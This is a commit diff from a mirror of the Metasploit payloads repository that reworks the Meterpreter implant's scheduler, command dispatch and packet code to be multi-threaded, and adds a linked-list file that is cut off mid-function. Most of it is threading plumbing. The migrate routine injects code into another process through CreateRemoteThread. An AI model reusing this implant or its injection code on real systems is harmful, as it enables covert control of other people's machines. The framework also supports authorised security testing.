mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-14 17:37:27 +01:00
Initial commit of the multi-threaded meterpreter.
git-svn-id: file:///home/svn/framework3/trunk@7698 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
be09667d9c
commit
0a5c87b678
@ -1,6 +1,6 @@
|
||||
#include "common.h"
|
||||
|
||||
|
||||
extern THREAD serverThread;
|
||||
/*
|
||||
* core_migrate
|
||||
* ------------
|
||||
@ -223,21 +223,20 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
||||
if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
|
||||
{
|
||||
result = GetLastError();
|
||||
ExitThread(result);
|
||||
break;
|
||||
}
|
||||
|
||||
// Wait at most 5 seconds for the event to be set letting us know that
|
||||
// it's finished
|
||||
if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0)
|
||||
// Wait at most 5 seconds for the event to be set letting us know that it's finished
|
||||
if (WaitForSingleObjectEx(event, 5000, FALSE) != WAIT_OBJECT_0 )
|
||||
{
|
||||
result = GetLastError();
|
||||
ExitThread(result);
|
||||
break;
|
||||
}
|
||||
|
||||
// Signal the main server thread to begin the shutdown as migration has been successfull.
|
||||
dprintf("[SYSTEM] Shutting down the Meterpreter thread 1 (signaling main thread)...");
|
||||
|
||||
// Exit the current process now that we've migrated to another one
|
||||
dprintf("Shutting down the Meterpreter thread...");
|
||||
ExitThread(0);
|
||||
thread_sigterm( &serverThread );
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -253,7 +252,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
||||
if (event)
|
||||
CloseHandle(event);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
|
@ -2,168 +2,249 @@
|
||||
|
||||
typedef struct _WaitableEntry
|
||||
{
|
||||
Remote * remote;
|
||||
HANDLE waitable;
|
||||
LPVOID context;
|
||||
WaitableNotifyRoutine routine;
|
||||
} WaitableEntry;
|
||||
|
||||
WaitableEntry *waitableArray = NULL;
|
||||
HANDLE *waitableHandleArray = NULL;
|
||||
HANDLE schedulerWakeUpEvent = NULL;
|
||||
DWORD numWaitableEntries = 0;
|
||||
/*
|
||||
* The list of all currenltly running threads in the scheduler subsystem.
|
||||
*/
|
||||
LIST * schedulerThreadList = NULL;
|
||||
|
||||
/*
|
||||
* Rebuilds the handle array
|
||||
* The Remote that is associated with the scheduler subsystem
|
||||
*/
|
||||
VOID scheduler_build_handle_array()
|
||||
Remote * schedulerRemote = NULL;
|
||||
|
||||
/*
|
||||
* Initialize the scheduler subsystem. Must be called before any calls to scheduler_insert_waitable.
|
||||
*/
|
||||
DWORD scheduler_initialize( Remote * remote )
|
||||
{
|
||||
DWORD index = 0;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
if (!schedulerWakeUpEvent)
|
||||
schedulerWakeUpEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
|
||||
dprintf( "[SCHEDULER] entering scheduler_initialize." );
|
||||
|
||||
if (waitableHandleArray)
|
||||
free(waitableHandleArray);
|
||||
if( remote == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
waitableHandleArray = (HANDLE *)malloc((numWaitableEntries+1) *
|
||||
sizeof(HANDLE));
|
||||
schedulerThreadList = list_create();
|
||||
if( schedulerThreadList == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
if (waitableHandleArray)
|
||||
schedulerRemote = remote;
|
||||
|
||||
dprintf( "[SCHEDULER] leaving scheduler_initialize." );
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Destroy the scheduler subsystem. All waitable threads at signaled to terminate.
|
||||
* this function blocks untill all waitable threads have terminated.
|
||||
*/
|
||||
DWORD scheduler_destroy( VOID )
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
DWORD index = 0;
|
||||
DWORD count = 0;
|
||||
LIST * jlist = list_create();
|
||||
THREAD * thread = NULL;
|
||||
|
||||
dprintf( "[SCHEDULER] entering scheduler_destroy." );
|
||||
|
||||
lock_acquire( schedulerThreadList->lock );
|
||||
|
||||
count = list_count( schedulerThreadList );
|
||||
|
||||
for( index=0 ; index < count ; index++ )
|
||||
{
|
||||
for (index = 0;
|
||||
index < numWaitableEntries;
|
||||
index++)
|
||||
waitableHandleArray[index] = waitableArray[index].waitable;
|
||||
thread = (THREAD *)list_get( schedulerThreadList, index );
|
||||
if( thread == NULL )
|
||||
continue;
|
||||
|
||||
list_push( jlist, thread );
|
||||
|
||||
// Finally, add the wake up event to the mix.
|
||||
waitableHandleArray[index] = schedulerWakeUpEvent;
|
||||
thread_sigterm( thread );
|
||||
}
|
||||
|
||||
if (schedulerWakeUpEvent)
|
||||
SetEvent(schedulerWakeUpEvent);
|
||||
}
|
||||
lock_release( schedulerThreadList->lock );
|
||||
|
||||
/*
|
||||
* Insert a waitable object for checking and processing
|
||||
*/
|
||||
DWORD scheduler_insert_waitable(HANDLE waitable, LPVOID context,
|
||||
WaitableNotifyRoutine routine)
|
||||
{
|
||||
WaitableEntry *newArray = NULL;
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
dprintf( "[SCHEDULER] scheduler_destroy, joining all waitable threads..." );
|
||||
|
||||
do
|
||||
while( TRUE )
|
||||
{
|
||||
// Allocate space for storing the handle in the waitable array
|
||||
if (!waitableArray)
|
||||
{
|
||||
if (!(newArray = (WaitableEntry *)malloc(
|
||||
sizeof(WaitableEntry))))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
}
|
||||
else if (!(newArray = (WaitableEntry *)realloc(waitableArray,
|
||||
sizeof(WaitableEntry) * (numWaitableEntries+1))))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
// Put the waitable handle into the waitable handle array
|
||||
newArray[numWaitableEntries].waitable = waitable;
|
||||
newArray[numWaitableEntries].context = context;
|
||||
newArray[numWaitableEntries].routine = routine;
|
||||
waitableArray = newArray;
|
||||
|
||||
// Increment the number of entries
|
||||
numWaitableEntries++;
|
||||
|
||||
} while (0);
|
||||
|
||||
scheduler_build_handle_array();
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* Remove a waitable object
|
||||
*/
|
||||
DWORD scheduler_remove_waitable(HANDLE waitable)
|
||||
{
|
||||
DWORD index = 0, numItemsToRemove = 0;
|
||||
WaitableEntry *newArray = NULL;
|
||||
BOOL found = FALSE;
|
||||
dprintf( "[SCHEDULER] scheduler_destroy, popping off another item from thread liat..." );
|
||||
|
||||
// Enumerate the waitable handle array, flushing out all
|
||||
// entries with the provided handle
|
||||
for (index = 0;
|
||||
index < numWaitableEntries;
|
||||
index++)
|
||||
thread = (THREAD *)list_pop( jlist );
|
||||
if( thread == NULL )
|
||||
break;
|
||||
|
||||
dprintf( "[SCHEDULER] scheduler_destroy, joining thread 0x%08X...", thread );
|
||||
|
||||
thread_join( thread );
|
||||
}
|
||||
|
||||
dprintf( "[SCHEDULER] scheduler_destroy, destroying lists..." );
|
||||
|
||||
list_destroy( jlist );
|
||||
|
||||
list_destroy( schedulerThreadList );
|
||||
|
||||
schedulerThreadList = NULL;
|
||||
|
||||
dprintf( "[SCHEDULER] leaving scheduler_destroy." );
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Insert a new waitable thread for checking and processing.
|
||||
*/
|
||||
DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID context, WaitableNotifyRoutine routine )
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
THREAD * swt = NULL;
|
||||
|
||||
WaitableEntry * entry = (WaitableEntry *)malloc( sizeof( WaitableEntry ) );
|
||||
if( entry == NULL )
|
||||
return ERROR_NOT_ENOUGH_MEMORY;
|
||||
|
||||
dprintf( "[SCHEDULER] entering scheduler_insert_waitable( 0x%08X, 0x%08X, 0x%08X )", waitable, context, routine );
|
||||
|
||||
memset( entry, 0, sizeof( WaitableEntry ) );
|
||||
|
||||
entry->remote = schedulerRemote;
|
||||
entry->waitable = waitable;
|
||||
entry->context = context;
|
||||
entry->routine = routine;
|
||||
|
||||
swt = thread_create( scheduler_waitable_thread, entry, NULL );
|
||||
if( swt != NULL )
|
||||
{
|
||||
if (waitableArray[index].waitable != waitable)
|
||||
dprintf( "[SCHEDULER] created scheduler_waitable_thread 0x%08X", swt );
|
||||
thread_run( swt );
|
||||
}
|
||||
else
|
||||
{
|
||||
free( entry );
|
||||
result = ERROR_INVALID_HANDLE;
|
||||
}
|
||||
|
||||
dprintf( "[SCHEDULER] leaving scheduler_insert_waitable" );
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Remove a waitable object by signaling the waitable thread to terminate.
|
||||
*/
|
||||
DWORD scheduler_remove_waitable( HANDLE waitable )
|
||||
{
|
||||
DWORD index = 0;
|
||||
DWORD count = 0;
|
||||
THREAD * thread = NULL;
|
||||
WaitableEntry * entry = NULL;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
dprintf( "[SCHEDULER] entering scheduler_remove_waitable( 0x%08X )", waitable );
|
||||
|
||||
if( schedulerThreadList == NULL || waitable == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
lock_acquire( schedulerThreadList->lock );
|
||||
|
||||
count = list_count( schedulerThreadList );
|
||||
|
||||
for( index=0 ; index < count ; index++ )
|
||||
{
|
||||
thread = (THREAD *)list_get( schedulerThreadList, index );
|
||||
if( thread == NULL )
|
||||
continue;
|
||||
|
||||
entry = (WaitableEntry *)thread->parameter1;
|
||||
if( entry == NULL )
|
||||
continue;
|
||||
|
||||
waitableArray[index].waitable = NULL;
|
||||
|
||||
numItemsToRemove++;
|
||||
|
||||
found = TRUE;
|
||||
}
|
||||
|
||||
// Repopulate the array of waitable items with the provided
|
||||
// handle removed.
|
||||
if ((newArray = (WaitableEntry *)malloc(sizeof(WaitableEntry) *
|
||||
(numWaitableEntries - numItemsToRemove))))
|
||||
{
|
||||
DWORD newIndex;
|
||||
|
||||
for (index = 0, newIndex = 0;
|
||||
index < numWaitableEntries;
|
||||
index++)
|
||||
if( entry->waitable == waitable )
|
||||
{
|
||||
if (!waitableArray[index].waitable)
|
||||
continue;
|
||||
|
||||
newArray[newIndex++] = waitableArray[index];
|
||||
dprintf( "[SCHEDULER] scheduler_remove_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread );
|
||||
thread_sigterm( thread );
|
||||
result = ERROR_SUCCESS;
|
||||
break;
|
||||
}
|
||||
|
||||
// Destroy the waitable array
|
||||
free(waitableArray);
|
||||
|
||||
// Set the waitable array to the new array
|
||||
waitableArray = newArray;
|
||||
numWaitableEntries -= numItemsToRemove;
|
||||
}
|
||||
|
||||
scheduler_build_handle_array();
|
||||
lock_release( schedulerThreadList->lock );
|
||||
|
||||
return (found) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
|
||||
dprintf( "[SCHEDULER] leaving scheduler_remove_waitable" );
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Runs the scheduler, checking waitable objects for data
|
||||
* The schedulers waitable thread. Each scheduled item will have its own thread which
|
||||
* waits for either data to process or the threads signal to terminate.
|
||||
*/
|
||||
DWORD scheduler_run(Remote *remote, DWORD timeout)
|
||||
DWORD THREADCALL scheduler_waitable_thread( THREAD * thread )
|
||||
{
|
||||
DWORD res;
|
||||
HANDLE waitableHandles[2] = {0};
|
||||
WaitableEntry * entry = NULL;
|
||||
DWORD result = 0;
|
||||
BOOL terminate = FALSE;
|
||||
|
||||
if (waitableHandleArray)
|
||||
if( thread == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
entry = (WaitableEntry *)thread->parameter1;
|
||||
if( entry == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
if( entry->routine == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
if( schedulerThreadList == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
list_add( schedulerThreadList, thread );
|
||||
|
||||
waitableHandles[0] = entry->waitable;
|
||||
|
||||
waitableHandles[1] = thread->sigterm->handle;
|
||||
|
||||
dprintf( "[SCHEDULER] entering scheduler_waitable_thread( 0x%08X )", thread );
|
||||
|
||||
while( !terminate )
|
||||
{
|
||||
DWORD index;
|
||||
|
||||
res = WaitForMultipleObjects(numWaitableEntries + 1,
|
||||
waitableHandleArray, FALSE, timeout);
|
||||
|
||||
// If one of the objects signaled data
|
||||
if ((res >= WAIT_OBJECT_0) &&
|
||||
((index = res - WAIT_OBJECT_0) < numWaitableEntries))
|
||||
res = waitableArray[index].routine(remote,
|
||||
waitableArray[index].context);
|
||||
else if (res >= WAIT_OBJECT_0)
|
||||
res = ERROR_SUCCESS;
|
||||
result = WaitForMultipleObjects( 2, (HANDLE *)&waitableHandles, FALSE, INFINITE );
|
||||
switch( result - WAIT_OBJECT_0 )
|
||||
{
|
||||
case 0:
|
||||
entry->routine( entry->remote, entry->context );
|
||||
break;
|
||||
case 1:
|
||||
dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to terminate...", thread );
|
||||
terminate = TRUE;
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return res;
|
||||
}
|
||||
dprintf( "[SCHEDULER] leaving scheduler_waitable_thread( 0x%08X )", thread );
|
||||
|
||||
// we acquire the lock for this block as we are freeing 'entry' which may be accessed
|
||||
// in a second call to scheduler_remove_waitable for this thread (unlikely but best practice).
|
||||
lock_acquire( schedulerThreadList->lock );
|
||||
if( list_remove( schedulerThreadList, thread ) )
|
||||
{
|
||||
CloseHandle( entry->waitable );
|
||||
thread_destroy( thread );
|
||||
free( entry );
|
||||
}
|
||||
lock_release( schedulerThreadList->lock );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
@ -167,9 +167,141 @@ DWORD command_deregister(Command *command)
|
||||
return res;
|
||||
}
|
||||
|
||||
/*
|
||||
* A list of all command threads currenlty executing.
|
||||
*/
|
||||
LIST * commandThreadList = NULL;
|
||||
|
||||
/*
|
||||
* Block untill all running command threads have finished.
|
||||
*/
|
||||
VOID command_join_threads( VOID )
|
||||
{
|
||||
while( list_count( commandThreadList ) > 0 )
|
||||
{
|
||||
THREAD * thread = (THREAD *)list_get( commandThreadList, 0 );
|
||||
if( thread )
|
||||
thread_join( thread );
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Crude method of throttling the ammount of concurrent command
|
||||
* threads we allow in the system at a given time.
|
||||
*/
|
||||
/*
|
||||
VOID command_throtle( int maxthreads )
|
||||
{
|
||||
while( list_count( commandThreadList ) >= maxthreads )
|
||||
{
|
||||
Sleep( 250 );
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
/*
|
||||
* Process a single command in a seperate thread of execution.
|
||||
*/
|
||||
DWORD THREADCALL command_process_thread( THREAD * thread )
|
||||
{
|
||||
DWORD index = 0;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
Tlv methodTlv = {0};
|
||||
Tlv requestIdTlv = {0};
|
||||
PCHAR method = NULL;
|
||||
PCHAR requestId = NULL;
|
||||
Command * current = NULL;
|
||||
Remote * remote = NULL;
|
||||
Packet * packet = NULL;
|
||||
|
||||
if( thread == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
remote = (Remote *)thread->parameter1;
|
||||
if( remote == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
|
||||
packet = (Packet *)thread->parameter2;
|
||||
if( packet == NULL )
|
||||
return ERROR_INVALID_DATA;
|
||||
|
||||
if( commandThreadList == NULL )
|
||||
{
|
||||
commandThreadList = list_create();
|
||||
if( commandThreadList == NULL )
|
||||
return ERROR_INVALID_HANDLE;
|
||||
}
|
||||
|
||||
list_add( commandThreadList, thread );
|
||||
|
||||
__try
|
||||
{
|
||||
do
|
||||
{
|
||||
// Extract the method
|
||||
result = packet_get_tlv_string( packet, TLV_TYPE_METHOD, &methodTlv );
|
||||
if( result != ERROR_SUCCESS )
|
||||
break;
|
||||
|
||||
dprintf( "[COMMAND] Processing method %s", methodTlv.buffer );
|
||||
|
||||
// Get the request identifier if the packet has one.
|
||||
result = packet_get_tlv_string( packet, TLV_TYPE_REQUEST_ID, &requestIdTlv );
|
||||
if( result == ERROR_SUCCESS )
|
||||
requestId = (PCHAR)requestIdTlv.buffer;
|
||||
|
||||
method = (PCHAR)methodTlv.buffer;
|
||||
|
||||
result = ERROR_NOT_FOUND;
|
||||
|
||||
// Try to find a match in the dispatch type
|
||||
for( index = 0, result = ERROR_NOT_FOUND ; result == ERROR_NOT_FOUND && commands[index].method ; index++ )
|
||||
{
|
||||
if( strcmp( commands[index].method, method ) )
|
||||
continue;
|
||||
|
||||
// Call the base handler
|
||||
result = command_call_dispatch( &commands[index], remote, packet );
|
||||
}
|
||||
|
||||
// Regardless of error code, try to see if someone has overriden a base handler
|
||||
for( current = extensionList, result = ERROR_NOT_FOUND ;
|
||||
result == ERROR_NOT_FOUND && current && current->method ; current = current->next )
|
||||
{
|
||||
if( strcmp( current->method, method ) )
|
||||
continue;
|
||||
|
||||
// Call the custom handler
|
||||
result = command_call_dispatch( current, remote, packet );
|
||||
}
|
||||
|
||||
dprintf("[COMMAND] Calling completion handlers...");
|
||||
// Finally, call completion routines for the provided identifier
|
||||
if( ((packet_get_type(packet) == PACKET_TLV_TYPE_RESPONSE) || (packet_get_type(packet) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) && (requestId))
|
||||
packet_call_completion_handlers( remote, packet, requestId );
|
||||
|
||||
// If we get here, we're successful.
|
||||
result = ERROR_SUCCESS;
|
||||
|
||||
} while( 0 );
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
dprintf("[COMMAND] Exception hit in command thread 0x%08X!", thread );
|
||||
}
|
||||
|
||||
packet_destroy( packet );
|
||||
|
||||
if( list_remove( commandThreadList, thread ) )
|
||||
thread_destroy( thread );
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
/*
|
||||
* Process a single command
|
||||
*/
|
||||
/*
|
||||
DWORD command_process_remote(Remote *remote, Packet *inPacket)
|
||||
{
|
||||
DWORD res = ERROR_SUCCESS, index;
|
||||
@ -245,11 +377,12 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket)
|
||||
packet_destroy(localPacket);
|
||||
|
||||
return res;
|
||||
}
|
||||
}*/
|
||||
|
||||
/*
|
||||
* Process incoming commands, calling dispatch tables appropriately
|
||||
*/
|
||||
*/
|
||||
/*
|
||||
DWORD command_process_remote_loop(Remote *remote)
|
||||
{
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
@ -269,6 +402,7 @@ DWORD command_process_remote_loop(Remote *remote)
|
||||
|
||||
return res;
|
||||
}
|
||||
*/
|
||||
|
||||
/*
|
||||
* Call the dispatch routine for a given command
|
||||
|
@ -43,8 +43,11 @@ typedef struct command
|
||||
LINKAGE DWORD command_register(Command *command);
|
||||
LINKAGE DWORD command_deregister(Command *command);
|
||||
|
||||
LINKAGE DWORD command_process_remote(Remote *remote, Packet *inPacket);
|
||||
LINKAGE DWORD command_process_remote_loop(Remote *remote);
|
||||
LINKAGE VOID command_join_threads( VOID );
|
||||
|
||||
LINKAGE DWORD THREADCALL command_process_thread( THREAD * thread );
|
||||
//LINKAGE DWORD command_process_remote(Remote *remote, Packet *inPacket);
|
||||
//LINKAGE DWORD command_process_remote_loop(Remote *remote);
|
||||
|
||||
LINKAGE DWORD command_call_dispatch(Command *command, Remote *remote, Packet *packet);
|
||||
LINKAGE DWORD command_validate_arguments(Command *command, Packet *packet);
|
||||
|
@ -132,15 +132,13 @@ DWORD remote_request_core_channel_write(Remote *remote, Packet *packet)
|
||||
{
|
||||
// If it's buffered, write it to the local buffer cache
|
||||
case CHANNEL_CLASS_BUFFERED:
|
||||
res = channel_write_to_buffered(channel, channelData.buffer,
|
||||
channelData.header.length, (PULONG)&written);
|
||||
res = channel_write_to_buffered(channel, channelData.buffer, channelData.header.length, (PULONG)&written);
|
||||
break;
|
||||
// If it's non-buffered, call the native write operation handler if
|
||||
// one is implemented
|
||||
default:
|
||||
{
|
||||
NativeChannelOps *ops = (NativeChannelOps *)&channel->ops;
|
||||
|
||||
if (ops->write)
|
||||
res = ops->write(channel, packet, ops->context,
|
||||
channelData.buffer, channelData.header.length,
|
||||
@ -288,6 +286,8 @@ DWORD remote_request_core_channel_close(Remote *remote, Packet *packet)
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS, channelId;
|
||||
Channel *channel = NULL;
|
||||
|
||||
dprintf( "[CHANNEL] remote_request_core_channel_close." );
|
||||
|
||||
do
|
||||
{
|
||||
|
@ -132,6 +132,7 @@ LINKAGE Channel *channel_create_pool(DWORD identifier,
|
||||
*/
|
||||
VOID channel_destroy(Channel *channel, Packet *request)
|
||||
{
|
||||
dprintf( "[CHANNEL] channel_destroy. channel=0x%08X", channel );
|
||||
// Call the close handler as we're being destroyed.
|
||||
if ((channel_get_class(channel) == CHANNEL_CLASS_BUFFERED) &&
|
||||
(channel->ops.buffered.dio))
|
||||
|
@ -27,6 +27,10 @@
|
||||
#include "channel.h"
|
||||
#include "scheduler.h"
|
||||
|
||||
#include "thread.h"
|
||||
|
||||
#include "list.h"
|
||||
|
||||
#ifdef DEBUGTRACE
|
||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||
#else
|
||||
|
@ -169,6 +169,9 @@ Packet *packet_create_response(Packet *request)
|
||||
*/
|
||||
VOID packet_destroy(Packet *packet)
|
||||
{
|
||||
if( packet == NULL )
|
||||
return;
|
||||
|
||||
if (packet->payload) {
|
||||
memset(packet->payload, 0, packet->payloadLength);
|
||||
free(packet->payload);
|
||||
@ -642,8 +645,7 @@ DWORD packet_remove_completion_handler(LPCSTR requestId)
|
||||
/*
|
||||
* Transmit and destroy a packet
|
||||
*/
|
||||
DWORD packet_transmit(Remote *remote, Packet *packet,
|
||||
PacketRequestCompletion *completion)
|
||||
DWORD packet_transmit(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
|
||||
{
|
||||
CryptoContext *crypto;
|
||||
Tlv requestId;
|
||||
@ -651,12 +653,12 @@ DWORD packet_transmit(Remote *remote, Packet *packet,
|
||||
DWORD idx;
|
||||
#ifdef _UNIX
|
||||
int local_error = -1;
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// If the packet does not already have a request identifier, create
|
||||
// one for it
|
||||
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
|
||||
&requestId) != ERROR_SUCCESS)
|
||||
lock_acquire( remote->lock );
|
||||
|
||||
// If the packet does not already have a request identifier, create one for it
|
||||
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,&requestId) != ERROR_SUCCESS)
|
||||
{
|
||||
DWORD index;
|
||||
CHAR rid[32];
|
||||
@ -708,24 +710,28 @@ DWORD packet_transmit(Remote *remote, Packet *packet,
|
||||
}
|
||||
|
||||
idx = 0;
|
||||
while( idx < sizeof(packet->header)) {
|
||||
while( idx < sizeof(packet->header))
|
||||
{
|
||||
// Transmit the packet's header (length, type)
|
||||
res = SSL_write(
|
||||
remote->ssl,
|
||||
(LPCSTR)(&packet->header) + idx,
|
||||
sizeof(packet->header) - idx
|
||||
);
|
||||
|
||||
|
||||
if(res <= 0) {
|
||||
dprintf("transmit header failed with return %d at index %d\n", res, idx);
|
||||
dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
|
||||
break;
|
||||
}
|
||||
idx += res;
|
||||
}
|
||||
if(res < 0) break;
|
||||
|
||||
if(res < 0)
|
||||
break;
|
||||
|
||||
idx = 0;
|
||||
while( idx < packet->payloadLength) {
|
||||
while( idx < packet->payloadLength)
|
||||
{
|
||||
// Transmit the packet's payload (length, type)
|
||||
res = SSL_write(
|
||||
remote->ssl,
|
||||
@ -737,8 +743,9 @@ DWORD packet_transmit(Remote *remote, Packet *packet,
|
||||
|
||||
idx += res;
|
||||
}
|
||||
|
||||
if(res < 0) {
|
||||
dprintf("transmit header failed with return %d at index %d\n", res, idx);
|
||||
dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
|
||||
break;
|
||||
}
|
||||
|
||||
@ -746,10 +753,12 @@ DWORD packet_transmit(Remote *remote, Packet *packet,
|
||||
} while (0);
|
||||
|
||||
res = GetLastError();
|
||||
|
||||
|
||||
// Destroy the packet
|
||||
packet_destroy(packet);
|
||||
|
||||
lock_release( remote->lock );
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
@ -783,9 +792,13 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
BOOL inHeader = TRUE;
|
||||
PUCHAR payload = NULL;
|
||||
ULONG payloadLength;
|
||||
|
||||
#ifdef _UNIX
|
||||
int local_error = -1;
|
||||
#endif
|
||||
#endif
|
||||
|
||||
lock_acquire( remote->lock );
|
||||
|
||||
do
|
||||
{
|
||||
// Read the packet length
|
||||
@ -799,7 +812,7 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
|
||||
if(bytesRead < 0) {
|
||||
dprintf("receive header failed with error code %d\n", bytesRead);
|
||||
dprintf("[PACKET] receive header failed with error code %d\n", bytesRead);
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
}
|
||||
|
||||
@ -845,7 +858,7 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
|
||||
if(bytesRead < 0) {
|
||||
dprintf("receive payload of length %d failed with error code %d\n", payloadLength, bytesRead);
|
||||
dprintf("[PACKET] receive payload of length %d failed with error code %d\n", payloadLength, bytesRead);
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
}
|
||||
|
||||
@ -909,6 +922,8 @@ DWORD packet_receive(Remote *remote, Packet **packet)
|
||||
free(localPacket);
|
||||
}
|
||||
|
||||
lock_release( remote->lock );
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
|
312
c/meterpreter/source/common/list.c
Normal file
312
c/meterpreter/source/common/list.c
Normal file
@ -0,0 +1,312 @@
|
||||
#include "common.h"
|
||||
|
||||
/*
|
||||
* An implementation of a simple thread safe double linked list structure. Can be used as either
|
||||
* a stack (via pop/push) or an array (via get/add/insert/remove). If performing a group of
|
||||
* actions on a list based on results from list actions, acquire the list lock before the group
|
||||
* of actions and release lock when done.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Create a thread safe double linked list.
|
||||
*/
|
||||
LIST * list_create( VOID )
|
||||
{
|
||||
LIST * list = (LIST *)malloc( sizeof(LIST) );
|
||||
if( list != NULL )
|
||||
{
|
||||
list->start = NULL;
|
||||
list->end = NULL;
|
||||
list->count = 0;
|
||||
list->lock = lock_create();
|
||||
|
||||
if( list->lock == NULL )
|
||||
{
|
||||
list_destroy( list );
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
/*
|
||||
* Destroy an existing linked list. This destroys all nodes and the list itself
|
||||
* but not the data held in the linked list. This is the responsibility of the
|
||||
* caller to destroy.
|
||||
*/
|
||||
VOID list_destroy( LIST * list )
|
||||
{
|
||||
NODE * current_node;
|
||||
NODE * next_node;
|
||||
|
||||
if( list != NULL )
|
||||
{
|
||||
lock_acquire( list->lock );
|
||||
|
||||
current_node = list->start;
|
||||
|
||||
while( current_node != NULL )
|
||||
{
|
||||
next_node = current_node->next;
|
||||
|
||||
current_node->next = NULL;
|
||||
|
||||
current_node->prev = NULL;
|
||||
|
||||
free( current_node );
|
||||
|
||||
current_node = next_node;
|
||||
}
|
||||
|
||||
list->count = 0;
|
||||
|
||||
lock_release( list->lock );
|
||||
|
||||
lock_destroy( list->lock );
|
||||
|
||||
free( list );
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Return the number of items in the list. If using this coung value to itterate through the list
|
||||
* with list_get, acquire the lists lock before the list_count/list_get block and release it afterwards.
|
||||
*/
|
||||
DWORD list_count( LIST * list )
|
||||
{
|
||||
DWORD count = 0;
|
||||
|
||||
if( list != NULL )
|
||||
{
|
||||
lock_acquire( list->lock );
|
||||
|
||||
count = list->count;
|
||||
|
||||
lock_release( list->lock );
|
||||
}
|
||||
|
||||
return count;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the data value held in the list and a specified index. This will perform a linear search from
|
||||
* the begining of the list returning the data value if found or NULL if not found.
|
||||
*/
|
||||
LPVOID list_get( LIST * list, DWORD index )
|
||||
{
|
||||
LPVOID data = NULL;
|
||||
NODE * current_node = NULL;
|
||||
|
||||
if( list == NULL )
|
||||
return NULL;
|
||||
|
||||
lock_acquire( list->lock );
|
||||
|
||||
if( list->count <= index )
|
||||
{
|
||||
lock_release( list->lock );
|
||||
return NULL;
|
||||
}
|
||||
|
||||
current_node = list->start;
|
||||
|
||||
while( current_node != NULL )
|
||||
{
|
||||
if( index == 0 )
|
||||
break;
|
||||
|
||||
current_node = current_node->next;
|
||||
|
||||
index--;
|
||||
}
|
||||
|
||||
if( current_node != NULL )
|
||||
data = current_node->data;
|
||||
|
||||
lock_release( list->lock );
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
/*
|
||||
* Adds a data item onto the end of the list.
|
||||
*/
|
||||
BOOL list_add( LIST * list, LPVOID data )
|
||||
{
|
